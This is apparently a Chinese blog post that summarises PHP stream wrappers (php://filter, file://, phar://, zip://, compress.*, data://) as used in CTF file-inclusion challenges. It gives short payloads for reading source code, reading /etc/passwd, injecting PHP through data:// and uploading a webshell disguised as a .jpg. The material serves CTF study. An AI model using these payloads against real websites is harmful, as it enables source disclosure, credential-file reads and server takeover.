优质广告供应商

广告是为了更好地支持作者创作

PHP伪协议在CTF中的应用

PHP伪协议在CTF中经常出现,也经常跟文件包含,文件上传,命令执行等漏洞结合在一起,所以本文章对常见的一些协议进行总结。

文件包含是否支持%00截断取决于:
PHP版本<=5.2 可以使用%00进行截断。
php支持的伪协议有:
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
1.php://协议
php://filter
php://input

php://filter:在allow_url_fopenallow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。
payload如下:

php://filter/read=convert.base64-encode/resource=upload.php

php://input:访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。 例子一

2.file://协议

file://:用于访问本地文件系统,并且不受allow_url_fopenallow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。例子一例子二
使用方法:

file:// [文件的绝对路径和文件名]
file:///etc/passwd
...
3.phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。例子一

nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
4.zlib://协议

zip://:在allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php  其中get请求中#需要进行编码,即%23

bzip2://:在allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://:在allow_url_fopenallow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
5.data://协议

data://:需满足allow_url_fopenallow_url_include同时开启才能使用,使用如下:

file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
LINK:

优质广告供应商

广告是为了更好地支持作者创作

推荐阅读更多精彩内容

  • 首先归纳下常见的文件包含函数:include、require、include_once、require_once、...
    查无此人asdasd阅读 713评论 1 3
  • 架构师必须知道的26项PHP安全实践 PHP是一种开源服务器端脚本语言,应用很广泛。Apache web服务器提供...
    meng_philip123阅读 5,882评论 1 161
  • 优质广告供应商

    广告是为了更好地支持作者创作

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 131,285评论 18 138
  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,325评论 3 64
  • 爱情本是简单的事,简单的幸福。 他们偶尔一起吃饭、约会、逛街、看电影……他们不能像其他校园情侣一样整天腻在一起,不...
    一抹晨绿阅读 127评论 1 2
  • 沉没成本 人们在决定是否做一件事情的时候,不仅仅是看这件事情未来对他是不是有好处,同时也会注意自己是不是在过去,已...
    天狼42阅读 360评论 0 2
  • 优质广告供应商

    广告是为了更好地支持作者创作

  • 众多人心目中的女神,小龙女李若彤多年来一直保持着李若彤原来的生活方式,与一切社交网络绝缘。15日晚,李若彤居然在微...
    饭爱豆娱乐阅读 148评论 0 0